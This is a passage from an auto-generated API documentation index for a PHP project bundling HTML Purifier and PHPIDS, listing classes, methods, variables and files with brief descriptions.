class="field"> - <span class="method-title">validate</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrDef.html#methodvalidate">HTMLPurifier_AttrDef::validate()</a> in AttrDef.php</div> - <div class="index-item-description">Validates and cleans passed string according to a definition.</div> - </dd> - <dt class="field"> - <span class="method-title">validate</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrDef_CSS_Background.html#methodvalidate">HTMLPurifier_AttrDef_CSS_Background::validate()</a> in Background.php</div> - </dd> - <dt class="field"> - <span class="method-title">validate</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrDef_CSS_BackgroundPosition.html#methodvalidate">HTMLPurifier_AttrDef_CSS_BackgroundPosition::validate()</a> in BackgroundPosition.php</div> - </dd> - <dt class="field"> - <span class="method-title">validate</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrDef_HTML_Bool.html#methodvalidate">HTMLPurifier_AttrDef_HTML_Bool::validate()</a> in Bool.php</div> - </dd> - <dt class="field"> - <span class="method-title">validate</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrDef_CSS_DenyElementDecorator.html#methodvalidate">HTMLPurifier_AttrDef_CSS_DenyElementDecorator::validate()</a> in DenyElementDecorator.php</div> - <div class="index-item-description">Checks if CurrentToken is set and equal to $this->element</div> - </dd> - <dt class="field"> - <span class="method-title">validate</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrDef_HTML_Color.html#methodvalidate">HTMLPurifier_AttrDef_HTML_Color::validate()</a> in Color.php</div> - </dd> - <dt class="field"> - <span class="method-title">validate</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_URIScheme_ftp.html#methodvalidate">HTMLPurifier_URIScheme_ftp::validate()</a> in ftp.php</div> - </dd> - <dt class="field"> - <span class="method-title">validate</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrDef_HTML_FrameTarget.html#methodvalidate">HTMLPurifier_AttrDef_HTML_FrameTarget::validate()</a> in FrameTarget.php</div> - </dd> - <dt class="field"> - <span class="method-title">validate</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_URIScheme_http.html#methodvalidate">HTMLPurifier_URIScheme_http::validate()</a> in http.php</div> - </dd> - <dt class="field"> - <span class="method-title">validate</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrDef_HTML_ID.html#methodvalidate">HTMLPurifier_AttrDef_HTML_ID::validate()</a> in ID.php</div> - </dd> - <dt class="field"> - <span class="method-title">validate</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrDef_CSS_ImportantDecorator.html#methodvalidate">HTMLPurifier_AttrDef_CSS_ImportantDecorator::validate()</a> in ImportantDecorator.php</div> - <div class="index-item-description">Intercepts and removes !important if necessary</div> - </dd> - <dt class="field"> - <span class="method-title">validate</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrDef_CSS_FontFamily.html#methodvalidate">HTMLPurifier_AttrDef_CSS_FontFamily::validate()</a> in FontFamily.php</div> - </dd> - <dt class="field"> - <span class="method-title">validate</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrDef_URI_Host.html#methodvalidate">HTMLPurifier_AttrDef_URI_Host::validate()</a> in Host.php</div> - </dd> - <dt class="field"> - <span class="method-title">validate</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrDef_CSS_Filter.html#methodvalidate">HTMLPurifier_AttrDef_CSS_Filter::validate()</a> in Filter.php</div> - </dd> - <dt class="field"> - <span class="method-title">validate</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrDef_CSS_Font.html#methodvalidate">HTMLPurifier_AttrDef_CSS_Font::validate()</a> in Font.php</div> - </dd> - <dt class="field"> - <span class="method-title">validate</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrDef_Enum.html#methodvalidate">HTMLPurifier_AttrDef_Enum::validate()</a> in Enum.php</div> - </dd> - <dt class="field"> - <span class="method-title">validateChildren</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ChildDef_Custom.html#methodvalidateChildren">HTMLPurifier_ChildDef_Custom::validateChildren()</a> in Custom.php</div> - </dd> - <dt class="field"> - <span class="method-title">validateChildren</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ChildDef_Optional.html#methodvalidateChildren">HTMLPurifier_ChildDef_Optional::validateChildren()</a> in Optional.php</div> - </dd> - <dt class="field"> - <span class="method-title">validateChildren</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ChildDef_Chameleon.html#methodvalidateChildren">HTMLPurifier_ChildDef_Chameleon::validateChildren()</a> in Chameleon.php</div> - </dd> - <dt class="field"> - <span class="method-title">validateChildren</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ChildDef_Empty.html#methodvalidateChildren">HTMLPurifier_ChildDef_Empty::validateChildren()</a> in Empty.php</div> - </dd> - <dt class="field"> - <span class="method-title">validateChildren</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ChildDef_Required.html#methodvalidateChildren">HTMLPurifier_ChildDef_Required::validateChildren()</a> in Required.php</div> - </dd> - <dt class="field"> - <span class="method-title">validateChildren</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ChildDef.html#methodvalidateChildren">HTMLPurifier_ChildDef::validateChildren()</a> in ChildDef.php</div> - <div class="index-item-description">Validates nodes according to definition and returns modification.</div> - </dd> - <dt class="field"> - <span class="method-title">validateChildren</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ChildDef_StrictBlockquote.html#methodvalidateChildren">HTMLPurifier_ChildDef_StrictBlockquote::validateChildren()</a> in StrictBlockquote.php</div> - </dd> - <dt class="field"> - <span class="method-title">validateChildren</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ChildDef_Table.html#methodvalidateChildren">HTMLPurifier_ChildDef_Table::validateChildren()</a> in Table.php</div> - </dd> - <dt class="field"> - <span class="method-title">validateDirective</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ConfigSchema_Validator.html#methodvalidateDirective">HTMLPurifier_ConfigSchema_Validator::validateDirective()</a> in Validator.php</div> - <div class="index-item-description">Validates a HTMLPurifier_ConfigSchema_Interchange_Directive object.</div> - </dd> - <dt class="field"> - <span class="method-title">validateDirectiveAliases</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ConfigSchema_Validator.html#methodvalidateDirectiveAliases">HTMLPurifier_ConfigSchema_Validator::validateDirectiveAliases()</a> in Validator.php</div> - <div class="index-item-description">Extra validation if $aliases member variable of HTMLPurifier_ConfigSchema_Interchange_Directive is defined.</div> - </dd> - <dt class="field"> - <span class="method-title">validateDirectiveAllowed</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ConfigSchema_Validator.html#methodvalidateDirectiveAllowed">HTMLPurifier_ConfigSchema_Validator::validateDirectiveAllowed()</a> in Validator.php</div> - <div class="index-item-description">Extra validation if $allowed member variable of HTMLPurifier_ConfigSchema_Interchange_Directive is defined.</div> - </dd> - <dt class="field"> - <span class="method-title">validateDirectiveValueAliases</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ConfigSchema_Validator.html#methodvalidateDirectiveValueAliases">HTMLPurifier_ConfigSchema_Validator::validateDirectiveValueAliases()</a> in Validator.php</div> - <div class="index-item-description">Extra validation if $valueAliases member variable of HTMLPurifier_ConfigSchema_Interchange_Directive is defined.</div> - </dd> - <dt class="field"> - <span class="method-title">validateId</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ConfigSchema_Validator.html#methodvalidateId">HTMLPurifier_ConfigSchema_Validator::validateId()</a> in Validator.php</div> - <div class="index-item-description">Validates a HTMLPurifier_ConfigSchema_Interchange_Id object.</div> - </dd> - <dt class="field"> - <span class="method-title">validateNamespace</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ConfigSchema_Validator.html#methodvalidateNamespace">HTMLPurifier_ConfigSchema_Validator::validateNamespace()</a> in Validator.php</div> - <div class="index-item-description">Validates a HTMLPurifier_ConfigSchema_Interchange_Namespace object.</div> - </dd> - <dt class="field"> - <span class="method-title">validateToken</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrValidator.html#methodvalidateToken">HTMLPurifier_AttrValidator::validateToken()</a> in AttrValidator.php</div> - <div class="index-item-description">Validates the attributes of a token, returning a modified token</div> - </dd> - <dt class="field"> - <span class="include-title">Validator.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---ConfigSchema---Validator.php.html">Validator.php</a> in Validator.php</div> - </dd> - <dt class="field"> - <span class="include-title">ValidatorAtom.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---ConfigSchema---ValidatorAtom.php.html">ValidatorAtom.php</a> in ValidatorAtom.php</div> - </dd> - <dt class="field"> - <span class="include-title">ValidateAttributes.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---Strategy---ValidateAttributes.php.html">ValidateAttributes.php</a> in ValidateAttributes.php</div> - </dd> - <dt class="field"> - <span class="include-title">VarParser.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---VarParser.php.html">VarParser.php</a> in VarParser.php</div> - </dd> - <dt class="field"> - <span class="include-title">VarParserException.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---VarParserException.php.html">VarParserException.php</a> in VarParserException.php</div> - </dd> - <dt class="field"> - VERSION - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier.html#constVERSION">HTMLPurifier::VERSION</a> in HTMLPurifier.php</div> - <div class="index-item-description">Constant with version of HTML Purifier</div> - </dd> - </dl> - <a name="w"></a> - <div class="index-letter-section"> - <div style="float: left" class="index-letter-title">w</div> - <div style="float: right"><a href="#top">top</a></div> - <div style="clear: both"></div> - </div> - <dl> - <dt class="field"> - <span class="var-title">$withoutTag</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrDef_Switch.html#var$withoutTag">HTMLPurifier_AttrDef_Switch::$withoutTag</a> in Switch.php</div> - </dd> - <dt class="field"> - <span class="var-title">$withTag</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrDef_Switch.html#var$withTag">HTMLPurifier_AttrDef_Switch::$withTag</a> in Switch.php</div> - </dd> - <dt class="field"> - <span class="method-title">with</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ConfigSchema_Validator.html#methodwith">HTMLPurifier_ConfigSchema_Validator::with()</a> in Validator.php</div> - <div class="index-item-description">Convenience function for generating HTMLPurifier_ConfigSchema_ValidatorAtom for validating simple member variables of objects.</div> - </dd> - <dt class="field"> - <span class="method-title">wrapHTML</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Lexer_DOMLex.html#methodwrapHTML">HTMLPurifier_Lexer_DOMLex::wrapHTML()</a> in DOMLex.php</div> - <div class="index-item-description">Wraps an HTML fragment in the necessary HTML</div> - </dd> - <dt class="field"> - <span class="method-title">writeHTMLDiv</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ConfigSchema_Builder_Xml.html#methodwriteHTMLDiv">HTMLPurifier_ConfigSchema_Builder_Xml::writeHTMLDiv()</a> in Xml.php</div> - </dd> - </dl> - <a name="x"></a> - <div class="index-letter-section"> - <div style="float: left" class="index-letter-title">x</div> - <div style="float: right"><a href="#top">top</a></div> - <div style="clear: both"></div> - </div> - <dl> - <dt class="field"> - <span class="var-title">$xml</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Doctype.html#var$xml">HTMLPurifier_Doctype::$xml</a> in Doctype.php</div> - <div class="index-item-description">Is the language derived from XML (i.e. XHTML)?</div> - </dd> - <dt class="field"> - <span class="include-title">Xml.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---ConfigSchema---Builder---Xml.php.html">Xml.php</a> in Xml.php</div> - </dd> - <dt class="field"> - <span class="include-title">XHTML.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---HTMLModule---Tidy---XHTML.php.html">XHTML.php</a> in XHTML.php</div> - </dd> - <dt class="field"> - <span class="include-title">XHTMLAndHTML4.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---HTMLModule---Tidy---XHTMLAndHTML4.php.html">XHTMLAndHTML4.php</a> in XHTMLAndHTML4.php</div> - </dd> - <dt class="field"> - <span class="include-title">XMLCommonAttributes.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---HTMLModule---XMLCommonAttributes.php.html">XMLCommonAttributes.php</a> in XMLCommonAttributes.php</div> - </dd> - </dl> - <a name="y"></a> - <div class="index-letter-section"> - <div style="float: left" class="index-letter-title">y</div> - <div style="float: right"><a href="#top">top</a></div> - <div style="clear: both"></div> - </div> - <dl> - <dt class="field"> - <span class="include-title">YouTube.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---Filter---YouTube.php.html">YouTube.php</a> in YouTube.php</div> - </dd> - </dl> - <a name="z"></a> - <div class="index-letter-section"> - <div style="float: left" class="index-letter-title">z</div> - <div style="float: right"><a href="#top">top</a></div> - <div style="clear: both"></div> - </div> - <dl> - <dt class="field"> - <span class="var-title">$zero</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrDef_Integer.html#var$zero">HTMLPurifier_AttrDef_Integer::$zero</a> in Integer.php</div> - <div class="index-item-description">Bool indicating whether or not zero is allowed</div> - </dd> - </dl> - <a name="_"></a> - <div class="index-letter-section"> - <div style="float: left" class="index-letter-title">_</div> - <div style="float: right"><a href="#top">top</a></div> - <div style="clear: both"></div> - </div> - <dl> - <dt class="field"> - <span class="var-title">$_current</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ErrorCollector.html#var$_current">HTMLPurifier_ErrorCollector::$_current</a> in ErrorCollector.php</div> - </dd> - <dt class="field"> - <span class="var-title">$_entity_lookup</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_EntityParser.html#var$_entity_lookup">HTMLPurifier_EntityParser::$_entity_lookup</a> in EntityParser.php</div> - <div class="index-item-description">Reference to entity lookup table.</div> - </dd> - <dt class="field"> - <span class="var-title">$_loaded</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Language.html#var$_loaded">HTMLPurifier_Language::$_loaded</a> in Language.php</div> - <div class="index-item-description">Has the language object been loaded yet?</div> - </dd> - <dt class="field"> - <span class="var-title">$_size_lookup</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_TagTransform_Font.html#var$_size_lookup">HTMLPurifier_TagTransform_Font::$_size_lookup</a> in Font.php</div> - </dd> - <dt class="field"> - <span class="var-title">$_special_dec2str</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_EntityParser.html#var$_special_dec2str">HTMLPurifier_EntityParser::$_special_dec2str</a> in EntityParser.php</div> - <div class="index-item-description">Decimal to parsed string conversion table for special entities.</div> - </dd> - <dt class="field"> - <span class="var-title">$_special_ent2dec</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_EntityParser.html#var$_special_ent2dec">HTMLPurifier_EntityParser::$_special_ent2dec</a> in EntityParser.php</div> - <div class="index-item-description">Stripped entity names to decimal conversion table for special entities.</div> - </dd> - <dt class="field"> - <span class="var-title">$_special_entity2str</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Lexer.html#var$_special_entity2str">HTMLPurifier_Lexer::$_special_entity2str</a> in Lexer.php</div> - <div class="index-item-description">Most common entity to raw value conversion table for special entities.</div> - </dd> - <dt class="field"> - <span class="var-title">$_stacks</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ErrorCollector.html#var$_stacks">HTMLPurifier_ErrorCollector::$_stacks</a> in ErrorCollector.php</div> - </dd> - <dt class="field"> - <span class="var-title">$_substituteEntitiesRegex</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_EntityParser.html#var$_substituteEntitiesRegex">HTMLPurifier_EntityParser::$_substituteEntitiesRegex</a> in EntityParser.php</div> - <div class="index-item-description">Callback regex string for parsing entities.</div> - </dd> - <dt class="field"> - <span class="var-title">$_whitespace</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Lexer_DirectLex.html#var$_whitespace">HTMLPurifier_Lexer_DirectLex::$_whitespace</a> in DirectLex.php</div> - <div class="index-item-description">Whitespace characters for str(c)spn.</div> - </dd> - <dt class="field"> - <span class="method-title">_compileRegex</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ChildDef_Custom.html#method_compileRegex">HTMLPurifier_ChildDef_Custom::_compileRegex()</a> in Custom.php</div> - <div class="index-item-description">Compiles the PCRE regex from a DTD regex ($dtd_regex to $_pcre_regex)</div> - </dd> - <dt class="field"> - <span class="method-title">_findUnused</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ConfigSchema_InterchangeBuilder.html#method_findUnused">HTMLPurifier_ConfigSchema_InterchangeBuilder::_findUnused()</a> in InterchangeBuilder.php</div> - <div class="index-item-description">Triggers errors for any unused keys passed in the hash; such keys may indicate typos, missing values, etc.</div> - </dd> - <dt class="field"> - <span class="method-title">_loadRegex</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrDef_URI_IPv4.html#method_loadRegex">HTMLPurifier_AttrDef_URI_IPv4::_loadRegex()</a> in IPv4.php</div> - <div class="index-item-description">Lazy load function to prevent regex from being stuffed in cache.</div> - </dd> - <dt class="field"> - <span class="method-title">_mergeConfig</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Init.html#method_mergeConfig">IDS_Init::_mergeConfig()</a> in Init.php</div> - <div class="index-item-description">Merge config hashes recursivly</div> - </dd> - <dt class="field"> - <span class="method-title">__autoload</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier.autoload.php.html#function__autoload">__autoload()</a> in HTMLPurifier.autoload.php</div> - </dd> - <dt class="field"> - <span class="method-title">__clone</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Init.html#method__clone">IDS_Init::__clone()</a> in Init.php</div> - <div class="index-item-description">Permitting to clone this object</div> - </dd> - <dt class="field"> - <span class="method-title">__construct</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Monitor.html#method__construct">IDS_Monitor::__construct()</a> in Monitor.php</div> - <div class="index-item-description">Constructor</div> - </dd> - <dt class="field"> - <span class="method-title">__construct</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Caching_Memcached.html#method__construct">IDS_Caching_Memcached::__construct()</a> in Memcached.php</div> - <div class="index-item-description">Constructor</div> - </dd> - <dt class="field"> - <span class="method-title">__construct</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrDef_CSS_ListStyle.html#method__construct">HTMLPurifier_AttrDef_CSS_ListStyle::__construct()</a> in ListStyle.php</div> - </dd> - <dt class="field"> - <span class="method-title">__construct</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrTransform_Length.html#method__construct">HTMLPurifier_AttrTransform_Length::__construct()</a> in Length.php</div> - </dd> - <dt class="field"> - <span class="method-title">__construct</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ConfigSchema_InterchangeBuilder.html#method__construct">HTMLPurifier_ConfigSchema_InterchangeBuilder::__construct()</a> in InterchangeBuilder.php</div> - </dd> - <dt class="field"> - <span class="method-title">__construct</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrDef_Integer.html#method__construct">HTMLPurifier_AttrDef_Integer::__construct()</a> in Integer.php</div> - </dd> - <dt class="field"> - <span class="method-title">__construct</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrTransform_Input.html#method__construct">HTMLPurifier_AttrTransform_Input::__construct()</a> in Input.php</div> - </dd> - <dt class="field"> - <span class="method-title">__construct</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Language.html#method__construct">HTMLPurifier_Language::__construct()</a> in Language.php</div> - </dd> - <dt class="field"> - <span class="method-title">__construct</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Length.html#method__construct">HTMLPurifier_Length::__construct()</a> in Length.php</div> - </dd> - <dt class="field"> - <span class="method-title">__construct</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Lexer.html#method__construct">HTMLPurifier_Lexer::__construct()</a> in Lexer.php</div> - </dd> - <dt class="field"> - <span class="method-title">__construct</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrDef_CSS_Multiple.html#method__construct">HTMLPurifier_AttrDef_CSS_Multiple::__construct()</a> in Multiple.php</div> - </dd> - <dt class="field"> - <span class="method-title">__construct</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrDef_CSS_Length.html#method__construct">HTMLPurifier_AttrDef_CSS_Length::__construct()</a> in Length.php</div> - </dd> - <dt class="field"> - <span class="method-title">__construct</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrDef_HTML_LinkTypes.html#method__construct">HTMLPurifier_AttrDef_HTML_LinkTypes::__construct()</a> in LinkTypes.php</div> - </dd> - <dt class="field"> - <span class="method-title">__construct</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrDef_CSS_Percentage.html#method__construct">HTMLPurifier_AttrDef_CSS_Percentage::__construct()</a> in Percentage.php</div> - </dd> - <dt class="field"> - <span class="method-title">__construct</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_TokenFactory.html#method__construct">HTMLPurifier_TokenFactory::__construct()</a> in TokenFactory.php</div> - <div class="index-item-description">Generates blank prototypes for cloning.</div> - </dd> - <dt class="field"> - <span class="method-title">__construct</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_UnitConverter.html#method__construct">HTMLPurifier_UnitConverter::__construct()</a> in UnitConverter.php</div> - </dd> - <dt class="field"> - <span class="method-title">__construct</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Token_Text.html#method__construct">HTMLPurifier_Token_Text::__construct()</a> in Text.php</div> - <div class="index-item-description">Constructor, accepts data and determines if it is whitespace.</div> - </dd> - <dt class="field"> - <span class="method-title">__construct</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Token_Tag.html#method__construct">HTMLPurifier_Token_Tag::__construct()</a> in Tag.php</div> - <div class="index-item-description">Non-overloaded constructor, which lower-cases passed tag name.</div> - </dd> - <dt class="field"> - <span class="method-title">__construct</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ChildDef_Table.html#method__construct">HTMLPurifier_ChildDef_Table::__construct()</a> in Table.php</div> - </dd> - <dt class="field"> - <span class="method-title">__construct</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrDef_URI.html#method__construct">HTMLPurifier_AttrDef_URI::__construct()</a> in URI.php</div> - </dd> - <dt class="field"> - <span class="method-title">__construct</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrDef_CSS_URI.html#method__construct">HTMLPurifier_AttrDef_CSS_URI::__construct()</a> in URI.php</div> - </dd> - <dt class="field"> - <span class="method-title">__construct</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ConfigSchema_Validator.html#method__construct">HTMLPurifier_ConfigSchema_Validator::__construct()</a> in Validator.php</div> - </dd> - <dt class="field"> - <span class="method-title">__construct</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ConfigSchema_ValidatorAtom.html#method__construct">HTMLPurifier_ConfigSchema_ValidatorAtom::__construct()</a> in ValidatorAtom.php</div> - </dd> - <dt class="field"> - <span class="method-title">__construct</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_URIParser.html#method__construct">HTMLPurifier_URIParser::__construct()</a> in URIParser.php</div> - </dd> - <dt class="field"> - <span class="method-title">__construct</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_URIDefinition.html#method__construct">HTMLPurifier_URIDefinition::__construct()</a> in URIDefinition.php</div> - </dd> - <dt class="field"> - <span class="method-title">__construct</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_URI.html#method__construct">HTMLPurifier_URI::__construct()</a> in URI.php</div> - </dd> - <dt class="field"> - <span class="method-title">__construct</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrDef_Switch.html#method__construct">HTMLPurifier_AttrDef_Switch::__construct()</a> in Switch.php</div> - </dd> - <dt class="field"> - <span class="method-title">__construct</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Filter_Storage.html#method__construct">IDS_Filter_Storage::__construct()</a> in Storage.php</div> - <div class="index-item-description">Constructor</div> - </dd> - <dt class="field"> - <span class="method-title">__construct</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTML5TreeConstructer.html#method__construct">HTML5TreeConstructer::__construct()</a> in PH5P.php</div> - </dd> - <dt class="field"> - <span class="method-title">__construct</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrDef_HTML_Pixels.html#method__construct">HTMLPurifier_AttrDef_HTML_Pixels::__construct()</a> in Pixels.php</div> - </dd> - <dt class="field"> - <span class="method-title">__construct</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTML5.html#method__construct">HTML5::__construct()</a> in PH5P.php</div> - </dd> - <dt class="field"> - <span class="method-title">__construct</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_PercentEncoder.html#method__construct">HTMLPurifier_PercentEncoder::__construct()</a> in PercentEncoder.php</div> - <div class="index-item-description">String of characters that should be preserved while using encode().</div> - </dd> - <dt class="field"> - <span class="method-title">__construct</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrDef_CSS_ImportantDecorator.html#method__construct">HTMLPurifier_AttrDef_CSS_ImportantDecorator::__construct()</a> in ImportantDecorator.php</div> - </dd> - <dt class="field"> - <span class="method-title">__construct</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Printer.html#method__construct">HTMLPurifier_Printer::__construct()</a> in Printer.php</div> - <div class="index-item-description">Initialize $generator.</div> - </dd> - <dt class="field"> - <span class="method-title">__construct</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Report.html#method__construct">IDS_Report::__construct()</a> in Report.php</div> - <div class="index-item-description">Constructor</div> - </dd> - <dt class="field"> - <span class="method-title">__construct</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_TagTransform_Simple.html#method__construct">HTMLPurifier_TagTransform_Simple::__construct()</a> in Simple.php</div> - </dd> - <dt class="field"> - <span class="method-title">__construct</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Caching_Session.html#method__construct">IDS_Caching_Session::__construct()</a> in Session.php</div> - <div class="index-item-description">Constructor</div> - </dd> - <dt class="field"> - <span class="method-title">__construct</span> - </dt> - <dd class="index-item-body"> - <div 